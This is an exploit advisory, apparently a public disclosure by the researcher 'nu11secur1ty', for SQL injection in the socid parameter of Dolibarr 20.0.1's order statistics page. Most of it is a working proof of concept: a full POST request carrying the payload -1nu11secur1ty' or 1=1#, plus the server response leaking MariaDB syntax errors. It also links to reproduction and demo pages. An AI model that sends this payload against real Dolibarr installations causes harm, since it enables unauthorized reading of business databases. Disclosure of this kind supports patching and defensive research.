Headline
Dolibarr 20.0.1 SQL Injection
Dolibarr version 20.0.1 suffers from a remote SQL injection vulnerability.
## Titles: dolibarr 20.0.1 Multiple security token SQLi## Author: nu11secur1ty## Date: 10/15/2024## Vendor: https://www.dolibarr.org/## Software: https://www.dolibarr.org/downloads.php## Reference: https://portswigger.net/web-security/sql-injection## Description:The `socid` parameter appears to be vulnerable to SQL injection attacks.The attacker can get sensitive information for the MySQL database from thissystem when he attacks it online from inside!He can do this, by using a vulnerable security token to access the webapplication!STATUS: Medium- Vulnerability[+]Exploits:- SQLi Multiple:```POST /dolibarr-20.0.1/htdocs/commande/stats/index.php HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflate, brAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Connection: closeCache-Control: max-age=0Cookie:DOLSESSID_0297178cd410ba92966a17032c81774a6acb1ec7=hsq658oejrct1401omd4nf2c5qOrigin: http://pwnedhost.comUpgrade-Insecure-Requests: 1Referer:http://pwnedhost.com/dolibarr-20.0.1/htdocs/commande/stats/index.php?leftmenu=orders_suppliers&mode=supplierContent-Type: application/x-www-form-urlencodedSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="129","Chromium";v="129"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 357token=ac1770a37880433e4ca36f69be4a8bf2&mode=supplier&socid=-1nu11secur1ty'%20or%201%3d1%23&typent_id=-1&categ_id=-1&userid=1&object_status_multiselect=1&object_status%5B%5D=0&object_status%5B%5D=1&object_status%5B%5D=2&object_status%5B%5D=3&object_status%5B%5D=4&object_status%5B%5D=5&object_status%5B%5D=6%2C7&object_status%5B%5D=9&year=2024&submit=Refresh```[+]Response:```SQLiHTTP/1.1 200 OKDate: Tue, 15 Oct 2024 10:23:43 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4X-Powered-By: PHP/8.2.4Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINReferrer-Policy: same-originConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 80974<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="author...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near'WHERE c.date_commande BETWEEN '2022-01-01 00:00:00' AND '2022-12-3123:59:59'...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near'WHERE c.date_commande BETWEEN '2023-01-01 00:00:00' AND '2023-12-3123:59:59'...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near'WHERE c.date_commande BETWEEN '2024-01-01 00:00:00' AND '2024-12-3123:59:59'...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') FROM WHERE c.date_commande BETWEEN '2022-01-01 00:00:00' AND '2022-12-312...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') FROM WHERE c.date_commande BETWEEN '2023-01-01 00:00:00' AND '2023-12-312...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') FROM WHERE c.date_commande BETWEEN '2024-01-01 00:00:00' AND '2024-12-312...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') FROM WHERE c.date_commande BETWEEN '2022-01-01 00:00:00' AND '2022-12-312...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') FROM WHERE c.date_commande BETWEEN '2023-01-01 00:00:00' AND '2023-12-312...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') FROM WHERE c.date_commande BETWEEN '2024-01-01 00:00:00' AND '2024-12-312...' at line 1<b...[SNIP]...</b> mysqli<br>...[SNIP]...</b> You have an error in your SQL syntax; check the manual thatcorresponds to your MariaDB server version for the right syntax to use near') as total, AVG() as avg FROM WHERE c.entity IN (1) AND c.fk_user_author =1...' at line 1<b```## Reproduce:[href](https://www.patreon.com/posts/dolibarr-20-0-1-114038337)## Demo PoC:[href](https://www.nu11secur1ty.com/2024/10/dolibarr-2001-multiple-security-token.html)## Time spent:05:27:00